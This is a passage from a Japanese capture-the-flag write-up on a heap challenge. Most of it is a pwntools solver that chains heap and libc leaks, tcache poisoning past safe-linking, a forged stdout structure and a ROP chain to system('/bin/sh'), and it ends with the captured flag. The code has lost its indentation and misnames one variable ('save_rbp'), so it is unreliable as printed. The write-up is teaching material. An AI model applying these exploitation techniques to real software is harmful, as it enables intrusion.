[*] stack 0x7ffc351a22b8
[*] Switching to interactive mode
rop
最後にスタックリークしたアドレスを使ってop_mallocのsaved_ripをsystem関数に上書きすればshellが取れます。
以下ソルバーです。
ソルバー
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *op_view
b *op_malloc
b *op_free+64
continue
'''.format(**locals())
exe = "./catastrophe"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
libc = ELF("./libc.so.6",checksec=False)
def menu(io,select):
io.sendlineafter(b"menu",select)
def malloc(io,idx,size,data):
menu(io,b"1")
io.sendlineafter(b"Index?",str(idx).encode())
io.sendlineafter(b"Size?",str(size).encode())
io.sendlineafter(b"Enter content:",data)
def free(io,idx):
menu(io,b"2")
io.sendlineafter(b"Index?",str(idx).encode())
def view(io,idx):
menu(io,b"3")
io.sendlineafter(b"Index?",str(idx).encode())
def leave(io):
menu(io,b"4")
def safe_linking(addr,heap_base):
return p64(addr ^ (heap_base >> 12))
io = start()
malloc(io, 0, 0x10,"AAA")
free(io,0)
view(io,0)
io.recvuntil(b"> ")
heap_base = u64(io.recv(5).ljust(8,b"\x00")) <<12
info("heap_base %#x",heap_base)
for i in range(7):
malloc(io,i,0x100,b"AAA")
malloc(io,7,0x100,b"AAA")
malloc(io,8,0x100,b"BBB")
malloc(io,9,0x100,b"AAA")
for i in range(7):
free(io,i)
free(io,7)
view(io,7)
io.recvuntil(b"> ")
libc_leak = u64(io.recv(6).ljust(8,b"\x00")) - 0x219ce0
info("libc_leak %#x",libc_leak)
libc.address = libc_leak
binsh = next(libc.search(b"/bin/sh\x00"))
environ = libc.address + 0x221200
stdout = libc.address + 0x21a780
info("environ: %#x", environ)
info("stdout: %#x", stdout)
free(io,8)
malloc(io,0,0x100,b"CCC")
free(io,8)
payload = flat(
b"D" * 0x108, 0x111, safe_linking(stdout,heap_base)
)
malloc(io,1,0x130,payload)
malloc(io,2,0x100,b"EEE")
stdout_fake_file = flat(
0xfbad1800, #flag
0, # _IO_read_ptr
0, # _IO_read_end
0, # _IO_read_base
environ, # _IO_write_base
environ + 0x8, # _IO_write_ptr
environ + 0x8, #_IO_write_end
environ + 0x8, # _IO_buf_base
environ + 0x8, #_IO_buf_end
)
malloc(io,3,0x100,stdout_fake_file)
io.recv(1)
stack_leak = u64(io.recv(8).ljust(8,b"\x00"))
info("stack %#x",stack_leak)
free(io,1)
free(io,2)
# リークしたアドレスからsaved_ripまでの値を減算
# mallocのアラインメントのために0x8を減算
saved_rbp = stack_leak - 0x130 -0x8
payload2 = flat(
b"Y" * 0x108,
0x111,
safe_linking(save_rbp,heap_base)
)
malloc(io,5,0x130,payload2)
malloc(io,2,0x100,b"YY")
pop_rdi = libc.address + 0x000000000002a3e5
system = libc.sym["system"]
ret = libc.address+ 0x00000000000f872e
payload3 =flat(
b"A"*8,
ret,
pop_rdi,
binsh,system
)
malloc(io,3,0x100,payload3)
io.interactive()
これを実行するとシェルが取れます。
b'cat flag*\n'
[DEBUG] Received 0x42 bytes:
b'hope{apparently_not_good_enough_33981d897c3b0f696e32d3c67ad4ed1e}\n'
hope{apparently_not_good_enough_33981d897c3b0f696e32d3c67ad4ed1e}
感想
FSOPありのHEAP問を解いてみましたが非常に勉強になりました。
誤りなどあればご指摘ください。
参考文献
Discussion